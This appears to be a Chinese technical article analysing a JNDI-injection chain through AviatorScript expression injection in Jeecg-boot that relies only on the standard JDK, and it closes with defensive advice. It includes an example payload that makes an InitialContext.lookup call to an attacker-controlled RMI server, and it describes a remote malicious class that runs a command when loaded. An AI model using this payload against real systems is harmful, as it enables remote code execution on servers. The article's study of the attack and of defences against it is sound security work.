打破静态方法限制:AviatorScript 中基于 MethodUtil 的 JDK 原生利用链
字数 2185
更新时间 2026-02-27 02:21:24

AviatorScript在Jeecg-boot中的JNDI注入利用详解

文档概述
本文档详细分析了一篇关于利用AviatorScript在Jeecg-boot框架中实现JNDI注入的技术文章。其核心贡献在于提出了一种不依赖Spring框架特定组件(如org.springframework.cglib.core.ReflectUtils)和特定JDK版本(如高版本对BCEL利用的限制)、仅基于标准JDK环境的新型利用方法。

一、背景知识

AviatorScript: 一门运行在Java虚拟机(JVM)之上的脚本语言。这意味着它能够在Java应用环境中被动态解析和执行。

相关漏洞历史: AviatorScript的表达式注入漏洞曾经在Jeecg-boot(一个基于Spring Boot的低代码开发平台)中被发现并利用。攻击者通过注入恶意AviatorScript代码,可以在服务器端执行任意命令或代码。

二、传统利用方式及其局限性

根据链接内容,目前公开的漏洞利用(POC)主要有两种途径,但都存在明显限制:

  1. BCEL利用方式

    • 机制: 利用com.sun.org.apache.bcel.internal.util.ClassLoader等类,通过BCEL字节码加载机制执行任意代码。
    • 局限性: 对JDK版本要求较为苛刻。在高版本JDK(如JDK 8u251+)中,相关类可能被移除或受到严格限制,导致利用失败。
  2. Spring CGLIB利用方式

    • 机制: 利用Spring框架自带的org.springframework.cglib.core.ReflectUtils.defineClass方法动态定义并加载恶意类。
    • 局限性强依赖Spring框架环境。如果目标应用未使用Spring,或使用的Spring版本中不存在/无法访问该类,则此利用方式无效。

三、新型利用方式:基于标准JDK的JNDI注入

本文档所参考的原文提出了一种更通用、限制更少的利用路径。其核心思路是:利用AviatorScript的脚本能力触发JNDI注入,进而通过RMI或LDAP协议加载远程恶意类

关键步骤与原理

  1. 利用链入口: 攻击者通过构造请求,将恶意AviatorScript代码注入到Jeecg-boot应用中存在漏洞的参数或表达式中。

  2. AviatorScript恶意载荷构造
    利用AviatorScript可以调用Java类的特性,编写能够触发JNDI查找的代码。例如,调用javax.naming.InitialContext#lookup方法。

    • 示例恶意代码片段
      // AviatorScript 代码示例
      let ctx = new javax.naming.InitialContext();
      ctx.lookup("rmi://attacker-controlled-server:1099/Exploit");
      
      这段脚本会在执行时,向指定的RMI服务地址发起JNDI查询。
  3. 远程恶意类加载(RMI/LDAP)

    • 攻击者需要搭建一个恶意的RMI(或LDAP)服务器。
    • 当受害者服务器上的AviatorScript引擎执行了lookup操作后,会向攻击者的服务器发起请求。
    • 恶意的RMI服务器会返回一个指向另一个HTTP服务器的引用,该HTTP服务器托管着一个编译好的恶意Java类(例如,包含静态代码块static { Runtime.getRuntime().exec("calc.exe"); }的类)。
    • 受害者的JVM会从攻击者控制的HTTP地址下载并实例化这个恶意类,从而执行其中的静态代码块,完成命令执行。
  4. “仅依赖JDK”的优势

    • javax.naming.InitialContext是Java标准库(JNDI API)的一部分,自JDK早期版本就已存在,通用性极强。
    • 此利用方式不依赖任何第三方框架(如Spring)的特性,只要目标JDK版本在受影响范围内(通常指未默认关闭JNDI远程类加载的版本,如JDK 8u191、6u211、7u201之前的版本,或之后未正确配置安全属性的环境),即可利用成功。这大大拓宽了漏洞的适用范围。

漏洞利用必要条件总结

  • 目标应用: 存在AviatorScript表达式注入漏洞的Jeecg-boot(或其他集成AviatorScript的应用)。
  • JDK版本: 目标服务器的JDK版本需支持远程JNDI类加载(通常为未安装相关安全补丁的旧版本)。注意: 高版本JDK默认已修复此问题,但错误的安全配置仍可能导致风险。
  • 网络环境: 目标服务器必须能够访问攻击者控制的RMI/LDAP服务器和HTTP服务器(用于托管恶意类)。

四、防御建议

  1. 输入验证与过滤: 对用户输入的、将要被AviatorScript引擎执行的表达式进行严格的校验和过滤,禁止输入含有危险类或方法调用(如java.lang.Runtime, javax.naming等)的代码。
  2. 升级与打补丁
    • 及时升级Jeecg-boot到已修复此漏洞的安全版本。
    • 升级JDK到最新版本,并确保启用了限制JNDI远程类加载的安全属性(如com.sun.jndi.rmi.object.trustURLCodebase=false)。
  3. 最小化依赖: 若非必要,移除或禁用应用中的动态脚本执行引擎。
  4. 网络隔离: 在生产环境中,通过防火墙策略限制服务器对外发起非常规网络请求(如出站的RMI/LDAP请求)。
 全屏